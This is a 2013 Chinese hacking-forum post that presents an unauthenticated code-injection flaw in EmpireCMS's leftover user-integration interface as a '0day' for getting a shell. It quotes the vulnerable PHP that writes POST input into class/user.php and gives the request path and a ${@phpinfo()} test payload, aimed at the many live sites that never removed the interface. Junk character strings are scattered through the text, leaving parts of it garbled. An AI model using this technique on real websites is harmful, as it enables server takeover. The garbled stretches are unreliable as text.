找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2358|回复: 0
打印 上一主题 下一主题

帝国万能接口漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
9 p+ g! \- @1 [" J5 G- p1 [! b' q+ k6 ?/ }5 i: L5 C


7 X% E* W# q5 W: I; H% H3 d* i这是帝国的一套下载系统 如图
3 P$ J7 m  o- x; J9 m& K5 z5 _ps(不需要任何账户和密码,直接写shell)

% Z  P6 K) E( |0 E6 u4 g9 J+ s- D% w

由于很多站是由于下载要整合discuz 等等一些论坛....
: [% q' J  h6 a& ~


/ ]+ u) [. G) [8 g

而帝国他又有一个万能接口,如图


9 r: V' w; H1 w/ z- _2 k5 V7 M" W/ Z1 _
1 a0 B# y" C. \& a; T

而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
. S3 h& b; {4 X* I. r7 b# q. f$ \
* j+ t% T7 W: b/ n当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig

1. if($_GET['install']==1)
2. {
3. @include("../class/connect.php");
4. @include("../class/db_sql.php");
5. @include("../class/functions.php");
6. $link=db_connect();
7. $empire=new mysqlquery();
8. if($setup=="SetConfig")
9. {
10. SetUserCOMConfig($_POST);
11. }
12. elseif($setup=="alter")
13. {
14. InstallUserCOM();
15. }
16. elseif($setup=="update")
17. {
18. UpdateUserCOM();
19. }
20. else
21. {}

复制代码

他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
: K" z. Z+ _. s, }' c" W. A& C
* `5 Y" X7 S% d! d/ z: y$ M在data/fun.php中的15行7 |9 W/ P" S# }5 w
5 {' X( k/ q' j! M/ n9 M' p
我们可以看到这个函数

1. function SetUserCOMConfig($add){
2. $filetext=ReadFiletext('data/user.php');
3. if(empty($filetext))
4. {
5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.');
6. }
7. $vr=explode(",",ReturnRepUserVar());
8. $count=count($vr);
9. for($i=0;$i<$count;$i++)
10. {
11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
12. }
13. //写入配置文件
14. $fp=@fopen("../class/user.php","w");
15. if(!$fp)
16. {
: D7 {* D/ u' c: M
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
18. }
19. @fputs($fp,$filetext);
20. @fclose($fp);

复制代码

.....//省略若干1 n, G# d. C; m; V- K4 P
% {+ y4 Y2 i: A. H5 ^! F7 ~9 N
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);
1 ^9 ?% H* R- S) @4 ~7 a% ?8 u! `1 }
他将传进来的变量进行了切割,然后赋给了$filetext
/ [1 U6 k$ b: u
: l0 \- O* Z1 P然后看下面

1. //写入配置文件
2. $fp=@fopen("../class/user.php","w");
3. if(!$fp)
4. {
5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.');
6. }
7. @fputs($fp,$filetext);

复制代码

打开了一个class/user.php文件,然后将$filetext写入了
+ n1 t( x4 s8 b  r; j" ~& ~5 |2 n% D6 R  A- [0 X/ k$ q
我们看看写入的结果,随便填一个


7 {5 \. J8 L- z' f" v1 P8 o0 {. U! N* h" M- ]1 `1 ?* A  C) H' F6 I
" t8 p' t6 ^' Y) z1 s: @" ^
# c, i8 {+ o7 i9 t; g7 E
& O0 y# I( o. \# O" o% Z
# ?+ O: n, h2 H2 K( x( P  Q
4 ~  ]! w' V6 M( v- F

) p0 [0 K' Z: v" A& |4 @8 a

; e' J7 u5 J' m
+ Q. t- r( @0 O' Q

9 S3 m- K1 G+ I( u4 f/ n. b( N5 B2 k

* z! M0 I8 ]' l
# U" ~: o' g1 y3 B! H" y
  V! Z3 @  q! f4 `0 }& P4 B, ^. c
8 q7 R. ~; {% @4 c( S

, ?" Q) X! Q" |! o" e( W! i; C( f2 M5 U6 C
8 Z* \: s' p0 E  Q6 S4 h
' i4 W9 K# `* J
' A( {8 _( V9 G/ M; r

& S  F# e. T, `, ^9 E3 M

所以我们淫荡点,写个${@phpinfo()}试试

9 a% s" j. N0 B  i7 B0 m/ b

然后访问以下class/user.php这个文件
) s7 d( n0 C: j" }* E日了吧


$ t' t0 v0 M1 Z, b; w

3 K9 B# o. s- ?8 V# ~0 \

' V9 ?  M+ w9 \' o
7 H" Z4 @4 W3 I9 o* ~, Z1 O
9 T) ~9 ?  q* Y, u
: q: j$ ?: _2 V% d1 Z2 w) L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表